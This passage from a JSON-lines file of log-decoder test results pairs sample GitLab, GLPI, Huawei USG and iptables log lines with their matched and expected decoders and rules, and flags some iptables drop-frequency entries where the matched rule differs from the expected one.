"{\"severity\":\"ERROR\",\"time\":\"2019-07-19T22:16:12.528Z\",\"correlation_id\":\"FeGxww5Hj64\",\"message\":\"Command failed [1]: /usr/bin/git --git-dir=/Users/vsizov/gitlab-development-kit/gitlab/tmp/tests/gitlab-satellites/group184/gitlabhq/.git --work-tree=/Users/vsizov/gitlab-development-kit/gitlab/tmp/tests/gitlab-satellites/group184/gitlabhq merge --no-ff -mMerge branch 'feature_conflict' into 'feature' source/feature_conflict\\n\\nerror: failed to push some refs to '/Users/vsizov/gitlab-development-kit/repositories/gitlabhq/gitlab_git.git'\"}", "decoder": "json", "parent": "", "fields": {"correlation_id": "FeGxww5Hj64", "severity": "ERROR", "time": "2019-07-19T22:16:12.528Z"}, "field_names": ["correlation_id", "severity", "time"], "rule": "65611", "level": "5", "expected_decoder": "json", "expected_rule": "65611", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_githost ERROR."} +{"log": "{\"severity\":\"INFO\",\"time\":\"2018-10-17T17:38:22.523Z\",\"author_id\":3,\"entity_id\":2,\"entity_type\":\"Project\",\"change\":\"visibility\",\"from\":\"Private\",\"to\":\"Public\",\"author_name\":\"John Doe4\",\"target_id\":2,\"target_type\":\"Project\",\"target_details\":\"namespace2/project2\"}", "decoder": "json", "parent": "", "fields": {"author_id": "3", "author_name": "John Doe4", "change": "visibility", "entity_id": "2", "entity_type": "Project", "from": "Private", "severity": "INFO", "target_details": "namespace2/project2", "target_id": "2", "target_type": "Project", "time": "2018-10-17T17:38:22.523Z", "to": "Public"}, "field_names": ["author_id", "author_name", "change", "entity_id", "entity_type", "from", "severity", "target_details", "target_id", "target_type", "time", "to"], "rule": "65612", "level": "3", "expected_decoder": "json", "expected_rule": "65612", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_audit INFO."} +{"log": "{\"severity\":\"INFO\",\"time\":\"2018-10-17T17:38:22.830Z\",\"author_id\":5,\"entity_id\":3,\"entity_type\":\"Project\",\"change\":\"name\",\"from\":\"John Doe7 / project3\",\"to\":\"John Doe7 / new name\",\"author_name\":\"John Doe6\",\"target_id\":3,\"target_type\":\"Project\",\"target_details\":\"namespace3/project3\"}", "decoder": "json", "parent": "", "fields": {"author_id": "5", "author_name": "John Doe6", "change": "name", "entity_id": "3", "entity_type": "Project", "from": "John Doe7 / project3", "severity": "INFO", "target_details": "namespace3/project3", "target_id": "3", "target_type": "Project", "time": "2018-10-17T17:38:22.830Z", "to": "John Doe7 / new name"}, "field_names": ["author_id", "author_name", "change", "entity_id", "entity_type", "from", "severity", "target_details", "target_id", "target_type", "time", "to"], "rule": "65612", "level": "3", "expected_decoder": "json", "expected_rule": "65612", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_audit INFO."} +{"log": "{\"severity\":\"INFO\",\"time\":\"2018-10-17T17:38:23.175Z\",\"author_id\":7,\"entity_id\":4,\"entity_type\":\"Project\",\"change\":\"path\",\"from\":\"\",\"to\":\"namespace4/newpath\",\"author_name\":\"John Doe8\",\"target_id\":4,\"target_type\":\"Project\",\"target_details\":\"namespace4/newpath\"}", "decoder": "json", "parent": "", "fields": {"author_id": "7", "author_name": "John Doe8", "change": "path", "entity_id": "4", "entity_type": "Project", "severity": "INFO", "target_details": "namespace4/newpath", "target_id": "4", "target_type": "Project", "time": "2018-10-17T17:38:23.175Z", "to": "namespace4/newpath"}, "field_names": ["author_id", "author_name", "change", "entity_id", "entity_type", "severity", "target_details", "target_id", "target_type", "time", "to"], "rule": "65612", "level": "3", "expected_decoder": "json", "expected_rule": "65612", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_audit INFO."} +{"log": "2014-06-10T18:18:26Z 14299 TID-55uqo INFO: Booting Sidekiq 3.0.0 with redis options {:url=>\"redis://localhost:6379/0\", :namespace=>\"sidekiq\"}", "decoder": "gitlab-sidekiq", "parent": "gitlab-sidekiq", "fields": {"info": "Booting Sidekiq 3.0.0 with redis options {:url=>\"redis://localhost:6379/0\", :namespace=>\"sidekiq\"}", "timestamp": "2014-06-10T18:18:26Z"}, "field_names": ["info", "timestamp"], "rule": "65614", "level": "3", "expected_decoder": "gitlab-sidekiq", "expected_rule": "65614", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_sidekiq_2 INFO."} +{"log": "2014-06-10T07:55:20Z 2037 TID-tm504 ERROR: /opt/bitnami/apps/discourse/htdocs/vendor/bundle/ruby/1.9.1/gems/redis-3.0.7/lib/redis/client.rb:228:in `read'", "decoder": "gitlab-sidekiq", "parent": "gitlab-sidekiq", "fields": {"error": "/opt/bitnami/apps/discourse/htdocs/vendor/bundle/ruby/1.9.1/gems/redis-3.0.7/lib/redis/client.rb:228:in `read'", "timestamp": "2014-06-10T07:55:20Z"}, "field_names": ["error", "timestamp"], "rule": "65615", "level": "5", "expected_decoder": "gitlab-sidekiq", "expected_rule": "65615", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_sidekiq_1 ERROR."} +{"log": "{\"severity\":\"INFO\",\"time\":\"2018-04-03T22:57:22.071Z\",\"queue\":\"cronjob:update_all_mirrors\",\"args\":[],\"class\":\"UpdateAllMirrorsWorker\",\"retry\":false,\"queue_namespace\":\"cronjob\",\"jid\":\"06aeaa3b0aadacf9981f368e\",\"created_at\":\"2018-04-03T22:57:21.930Z\",\"enqueued_at\":\"2018-04-03T22:57:21.931Z\",\"pid\":10077,\"message\":\"UpdateAllMirrorsWorker JID-06aeaa3b0aadacf9981f368e: done: 0.139 sec\",\"job_status\":\"done\",\"duration\":0.139,\"completed_at\":\"2018-04-03T22:57:22.071Z\"}", "decoder": "json", "parent": "", "fields": {"args": "[]", "class": "UpdateAllMirrorsWorker", "completed_at": "2018-04-03T22:57:22.071Z", "created_at": "2018-04-03T22:57:21.930Z", "duration": "0.139000", "enqueued_at": "2018-04-03T22:57:21.931Z", "jid": "06aeaa3b0aadacf9981f368e", "job_status": "done", "message": "UpdateAllMirrorsWorker JID-06aeaa3b0aadacf9981f368e: done: 0.139 sec", "pid": "10077", "queue": "cronjob:update_all_mirrors", "queue_namespace": "cronjob", "retry": "false", "severity": "INFO", "time": "2018-04-03T22:57:22.071Z"}, "field_names": ["args", "class", "completed_at", "created_at", "duration", "enqueued_at", "jid", "job_status", "message", "pid", "queue", "queue_namespace", "retry", "severity", "time"], "rule": "65616", "level": "3", "expected_decoder": "json", "expected_rule": "65616", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_sidekiq_3 INFO."} +{"log": "{\"severity\":\"ERROR\",\"time\":\"2018-04-03T22:57:22.071Z\",\"queue\":\"cronjob:update_all_mirrors\",\"args\":[],\"class\":\"UpdateAllMirrorsWorker\",\"retry\":false,\"queue_namespace\":\"cronjob\",\"jid\":\"06aeaa3b0aadacf9981f368e\",\"created_at\":\"2018-04-03T22:57:21.930Z\",\"enqueued_at\":\"2018-04-03T22:57:21.931Z\",\"pid\":10077,\"message\":\"UpdateAllMirrorsWorker JID-06aeaa3b0aadacf9981f368e: done: 0.139 sec\",\"job_status\":\"done\",\"duration\":0.139,\"completed_at\":\"2018-04-03T22:57:22.071Z\"}", "decoder": "json", "parent": "", "fields": {"args": "[]", "class": "UpdateAllMirrorsWorker", "completed_at": "2018-04-03T22:57:22.071Z", "created_at": "2018-04-03T22:57:21.930Z", "duration": "0.139000", "enqueued_at": "2018-04-03T22:57:21.931Z", "jid": "06aeaa3b0aadacf9981f368e", "job_status": "done", "message": "UpdateAllMirrorsWorker JID-06aeaa3b0aadacf9981f368e: done: 0.139 sec", "pid": "10077", "queue": "cronjob:update_all_mirrors", "queue_namespace": "cronjob", "retry": "false", "severity": "ERROR", "time": "2018-04-03T22:57:22.071Z"}, "field_names": ["args", "class", "completed_at", "created_at", "duration", "enqueued_at", "jid", "job_status", "message", "pid", "queue", "queue_namespace", "retry", "severity", "time"], "rule": "65617", "level": "5", "expected_decoder": "json", "expected_rule": "65617", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_sidekiq_4 ERROR."} +{"log": "I, [2015-02-13T06:17:00.671315 #9291] INFO -- : Adding project root/example.git at .", "decoder": "gitlab-shell-stderr", "parent": "gitlab-shell-stderr", "fields": {"message": "Adding project root/example.git at .", "severity": "INFO", "timestamp": "[2015-02-13T06:17:00.671315 #9291]"}, "field_names": ["message", "severity", "timestamp"], "rule": "65618", "level": "3", "expected_decoder": "gitlab-shell-stderr", "expected_rule": "65618", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_shell_stderr_1 INFO."} +{"log": "I, [2015-02-13T06:17:00.679433 #9291] INFO -- : Moving existing hooks directory and symlinking global hooks directory for /var/opt/gitlab/git-data/repositories/root/example.git.", "decoder": "gitlab-shell-stderr", "parent": "gitlab-shell-stderr", "fields": {"message": "Moving existing hooks directory and symlinking global hooks directory for /var/opt/gitlab/git-data/repositories/root/example.git.", "severity": "INFO", "timestamp": "[2015-02-13T06:17:00.679433 #9291]"}, "field_names": ["message", "severity", "timestamp"], "rule": "65618", "level": "3", "expected_decoder": "gitlab-shell-stderr", "expected_rule": "65618", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_shell_stderr_1 INFO."} +{"log": "W, [2015-02-13T07:16:01.312916 #9094] WARN -- : #: worker (pid: 9094) exceeds memory limit (320626688 bytes > 247066940 bytes)", "decoder": "gitlab-shell-stderr", "parent": "gitlab-shell-stderr", "fields": {"message": "#: worker (pid: 9094) exceeds memory limit (320626688 bytes > 247066940 bytes)", "severity": "WARN", "timestamp": "[2015-02-13T07:16:01.312916 #9094]"}, "field_names": ["message", "severity", "timestamp"], "rule": "65619", "level": "5", "expected_decoder": "gitlab-shell-stderr", "expected_rule": "65619", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_shell_stderr_2 WARN."} +{"log": "W, [2015-02-13T07:16:01.313000 #9094] WARN -- : Unicorn::WorkerKiller send SIGQUIT (pid: 9094) alive: 3621 sec (trial 1)", "decoder": "gitlab-shell-stderr", "parent": "gitlab-shell-stderr", "fields": {"message": "Unicorn::WorkerKiller send SIGQUIT (pid: 9094) alive: 3621 sec (trial 1)", "severity": "WARN", "timestamp": "[2015-02-13T07:16:01.313000 #9094]"}, "field_names": ["message", "severity", "timestamp"], "rule": "65619", "level": "5", "expected_decoder": "gitlab-shell-stderr", "expected_rule": "65619", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_shell_stderr_2 WARN."} +{"log": "{\"query_string\":\"query IntrospectionQuery{__schema {queryType { name },mutationType { name }}}...(etc)\",\"variables\":{\"a\":1,\"b\":2},\"complexity\":181,\"depth\":1,\"duration\":7}", "decoder": "json", "parent": "", "fields": {"complexity": "181", "depth": "1", "duration": "7", "query_string": "query IntrospectionQuery{__schema {queryType { name },mutationType { name }}}...(etc)", "variables.a": "1", "variables.b": "2"}, "field_names": ["complexity", "depth", "duration", "query_string", "variables.a", "variables.b"], "rule": "65620", "level": "3", "expected_decoder": "json", "expected_rule": "65620", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "Gitlab_graphql query."} +{"log": "{\"time\":\"2018-10-29T12:49:42.123Z\",\"severity\":\"INFO\",\"duration\":709.08,\"db\":14.59,\"view\":694.49,\"status\":200,\"method\":\"GET\",\"path\":\"/api/v4/projects\",\"params\":[{\"key\":\"action\",\"value\":\"git-upload-pack\"},{\"key\":\"changes\",\"value\":\"_any\"},{\"key\":\"key_id\",\"value\":\"secret\"},{\"key\":\"secret_token\",\"value\":\"[FILTERED]\"}],\"host\":\"localhost\",\"ip\":\"::1\",\"ua\":\"Ruby\",\"route\":\"/api/:version/projects\",\"user_id\":1,\"username\":\"root\",\"queue_duration\":100.31,\"gitaly_calls\":30,\"gitaly_duration\":5.36}", "decoder": "json", "parent": "", "fields": {"db": "14.590000", "duration": "709.080000", "gitaly_calls": "30", "gitaly_duration": "5.360000", "host": "localhost", "ip": "::1", "method": "GET", "params": "[{'key': 'action', 'value': 'git-upload-pack'}, {'key': 'changes', 'value': '_any'}, {'key': 'key_id', 'value': 'secret'}, {'key': 'secret_token', 'value': '[FILTERED]'}]", "path": "/api/v4/projects", "queue_duration": "100.310000", "route": "/api/:version/projects", "severity": "INFO", "status": "200", "time": "2018-10-29T12:49:42.123Z", "ua": "Ruby", "user_id": "1", "username": "root", "view": "694.490000"}, "field_names": ["db", "duration", "gitaly_calls", "gitaly_duration", "host", "ip", "method", "params", "path", "queue_duration", "route", "severity", "status", "time", "ua", "user_id", "username", "view"], "rule": "65621", "level": "3", "expected_decoder": "json", "expected_rule": "65621", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "GET request Completed Succesfully."} +{"log": "{\"method\":\"GET\",\"path\":\"/api/v4/projects\",\"format\":\"html\",\"controller\":\"Projects::IssuesController\",\"action\":\"show\",\"status\":400,\"duration\":229.03,\"view\":174.07,\"db\":13.24,\"time\":\"2017-08-08T20:15:54.821Z\",\"params\":[{\"key\":\"param_key\",\"value\":\"param_value\"}],\"remote_ip\":\"18.245.0.1\",\"user_id\":1,\"username\":\"admin\",\"gitaly_calls\":76,\"gitaly_duration\":7.41,\"queue_duration\": 112.47}", "decoder": "json", "parent": "", "fields": {"action": "show", "controller": "Projects::IssuesController", "db": "13.240000", "duration": "229.030000", "format": "html", "gitaly_calls": "76", "gitaly_duration": "7.410000", "method": "GET", "params": "[{'key': 'param_key', 'value': 'param_value'}]", "path": "/api/v4/projects", "queue_duration": "112.470000", "remote_ip": "18.245.0.1", "status": "400", "time": "2017-08-08T20:15:54.821Z", "user_id": "1", "username": "admin", "view": "174.070000"}, "field_names": ["action", "controller", "db", "duration", "format", "gitaly_calls", "gitaly_duration", "method", "params", "path", "queue_duration", "remote_ip", "status", "time", "user_id", "username", "view"], "rule": "65622", "level": "5", "expected_decoder": "json", "expected_rule": "65622", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "ERROR: couldn't complete GET request."} +{"log": "{\"method\":\"GET\",\"path\":\"/api/v4/projects\",\"format\":\"html\",\"controller\":\"Projects::IssuesController\",\"action\":\"show\",\"status\":300,\"duration\":229.03,\"view\":174.07,\"db\":13.24,\"time\":\"2017-08-08T20:15:54.821Z\",\"params\":[{\"key\":\"param_key\",\"value\":\"param_value\"}],\"remote_ip\":\"18.245.0.1\",\"user_id\":1,\"username\":\"admin\",\"gitaly_calls\":76,\"gitaly_duration\":7.41,\"queue_duration\": 112.47}", "decoder": "json", "parent": "", "fields": {"action": "show", "controller": "Projects::IssuesController", "db": "13.240000", "duration": "229.030000", "format": "html", "gitaly_calls": "76", "gitaly_duration": "7.410000", "method": "GET", "params": "[{'key': 'param_key', 'value': 'param_value'}]", "path": "/api/v4/projects", "queue_duration": "112.470000", "remote_ip": "18.245.0.1", "status": "300", "time": "2017-08-08T20:15:54.821Z", "user_id": "1", "username": "admin", "view": "174.070000"}, "field_names": ["action", "controller", "db", "duration", "format", "gitaly_calls", "gitaly_duration", "method", "params", "path", "queue_duration", "remote_ip", "status", "time", "user_id", "username", "view"], "rule": "65623", "level": "5", "expected_decoder": "json", "expected_rule": "65623", "rule_matches_expected": true, "ini_file": "gitlab.ini", "section": "REDIRECTION:The GET request has more than one possible response."} +{"log": "[Wed Jul 31 16:44:52.906254 2019] [suexec:notice] [pid 8575] AH01232: suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)", "decoder": "apache-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "30303", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30303", "rule_matches_expected": true, "ini_file": "glpi.ini", "section": "apache glpi error-log"} +{"log": "11.0.0.1 - - [31/Jul/2019:16:58:19 +0000] \"GET /index.php HTTP/1.1\" 200 2213 \"http://11.0.0.16/install/install.php\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "200", "protocol": "GET", "srcip": "11.0.0.1", "url": "/index.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31108", "level": "0", "expected_decoder": "web-accesslog", "expected_rule": "31108", "rule_matches_expected": true, "ini_file": "glpi.ini", "section": "web-accesslog glpi get message"} +{"log": "::1 - - [31/Jul/2019:16:58:43 +0000] \"OPTIONS * HTTP/1.0\" 200 - \"-\" \"Apache/2.4.6 (CentOS) PHP/5.6.40 (internal dummy connection)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "200", "protocol": "OPTIONS", "srcip": "::1", "url": "*"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31108", "level": "0", "expected_decoder": "web-accesslog", "expected_rule": "31108", "rule_matches_expected": true, "ini_file": "glpi.ini", "section": "web-accesslog glpi options message"} +{"log": "2018/10/05 09:52:14 USG6300 %%01URL/4/FILTER(l): The URL filtering policy was matched. (SyslogId=1906054, VSys=\"public\", Policy=\"Internet Access\", SrcIp=1.1.1.1, DstIp=2.2.2.2, SrcPort=5702, DstPort=80, SrcZone=dmz, DstZone=untrust, User=\"unknown\", Protocol=TCP, Application=\"google\", Profile=\"prof1\", Type=Pre-defined, EventNum=1, Category=\"Search Engines/Portals\", SubCategory=\"Search Engines\", Page=\"*\", Host=\"www.google.com\", Item=\"none\", Action=Alert)", "decoder": "huawei-usg", "parent": "huawei-usg", "fields": {"action": "Alert", "application": "google", "dstip": "2.2.2.2", "dstport": "80", "dstuser": "unknown", "host": "www.google.com", "id": "%%01URL/4/FILTER", "profile": "prof1", "protocol": "TCP", "srcip": "1.1.1.1", "srcport": "5702"}, "field_names": ["action", "application", "dstip", "dstport", "dstuser", "host", "id", "profile", "protocol", "srcip", "srcport"], "rule": "89214", "level": "3", "expected_decoder": "huawei-usg", "expected_rule": "89214", "rule_matches_expected": true, "ini_file": "huawei_usg.ini", "section": "huawei usg: filter"} +{"log": "Oct 5 2018 10:52:19 USG6300 %%01POLICY/6/POLICYPERMIT(l):vsys=public, protocol=17, source-ip=1.1.1.1, source-port=2426, destination-ip=2.2.2.2, destination-port=2234, time=2018/10/5 09:52:19, source-zone=dmz, destination-zone=untrust, rule-name=Internet Access.", "decoder": "huawei-usg", "parent": "", "fields": {"id": "%%01POLICY/6/POLICYPERMIT"}, "field_names": ["id"], "rule": "89216", "level": "0", "expected_decoder": "huawei-usg", "expected_rule": "89216", "rule_matches_expected": true, "ini_file": "huawei_usg.ini", "section": "huawei usg: default-level-6 "} +{"log": "2018-10-05 10:52:13 USG6300 %%01SECLOG/6/SESSION_TEARDOWN(l):IPVer=4,Protocol=tcp,SourceIP=1.1.1.1,DestinationIP=2.2.2.2,SourcePort=6182,DestinationPort=443,BeginTime=1538736476,EndTime=1538736733,SendPkts=21,SendBytes=2135,RcvPkts=18,RcvBytes=1534,SourceVpnID=0,DestinationVpnID=0,PolicyName=Internet Access.", "decoder": "huawei-usg", "parent": "", "fields": {"id": "%%01SECLOG/6/SESSION_TEARDOWN"}, "field_names": ["id"], "rule": "89216", "level": "0", "expected_decoder": "huawei-usg", "expected_rule": "89216", "rule_matches_expected": true, "ini_file": "huawei_usg.ini", "section": "huawei usg: default-level-6 "} +{"log": "Feb 4 23:33:37 hostname kernel: FIREWALL_OUT IN= OUT=eth0 SRC=192.168.6.57 DST=216.161.248.225 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=18547 DF PROTO=TCP SPT=46388 DPT=37628 WINDOW=6930 RES=0x00 ACK RST URGn=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "FIREWALL_OUT", "dstip": "216.161.248.225", "dstport": "37628", "protocol": "TCP", "srcip": "192.168.6.57", "srcport": "46388"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4100", "level": "0", "expected_decoder": "kernel", "expected_rule": "4100", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: custom action 1"} +{"log": "Feb 4 23:33:37 hostname kernel: IPTABLE IN=eth0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:03:93:db:2e:b4:08:00 SRC=10.4.11.40 DST=255.255.255.255 LEN=180 TOS=0x00 PREC=0x00 TTL=64 ID=4753 PROTO=UDP SPT=49320 DPT=2222 LEN=160", "decoder": "kernel", "parent": "kernel", "fields": {"action": "IPTABLE", "dstip": "255.255.255.255", "dstport": "2222", "protocol": "UDP", "srcip": "10.4.11.40", "srcport": "49320"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4100", "level": "0", "expected_decoder": "kernel", "expected_rule": "4100", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: custom action 2"} +{"log": "Aug 17 10:03:37 myhostname kernel: SFW2-INext-DROP-DEFLT IN=eth0 OUT= MAC=00:08:02:da:c8:51:00:0f:f7:74:31:8a:08:00 SRC=1.2.3.36 DST=1.2.3.194 LEN=28 TOS=0x00 PREC=0x00 TTL=44 ID=60200 PROTO=ICMP TYPE=8 CODE=0 ID=10466 SEQ=21229", "decoder": "kernel", "parent": "kernel", "fields": {"action": "SFW2-INext-DROP-DEFLT", "dstip": "1.2.3.194", "protocol": "ICMP", "srcip": "1.2.3.36"}, "field_names": ["action", "dstip", "protocol", "srcip"], "rule": "4100", "level": "0", "expected_decoder": "kernel", "expected_rule": "4100", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: custom action 3"} +{"log": "Aug 17 10:03:37 myhostname kernel: [4475569.016000] IN= OUT=lo SRC=192.168.2.11 DST=192.168.2.11 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=49546 DF PROTO=TCP SPT=43068 DPT=22 WINDOW=8192 RES=0x00 ACK URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "[4475569.016000]", "dstip": "192.168.2.11", "dstport": "22", "protocol": "TCP", "srcip": "192.168.2.11", "srcport": "43068"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4100", "level": "0", "expected_decoder": "kernel", "expected_rule": "4100", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: custom action 4"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4101", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: drop"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": 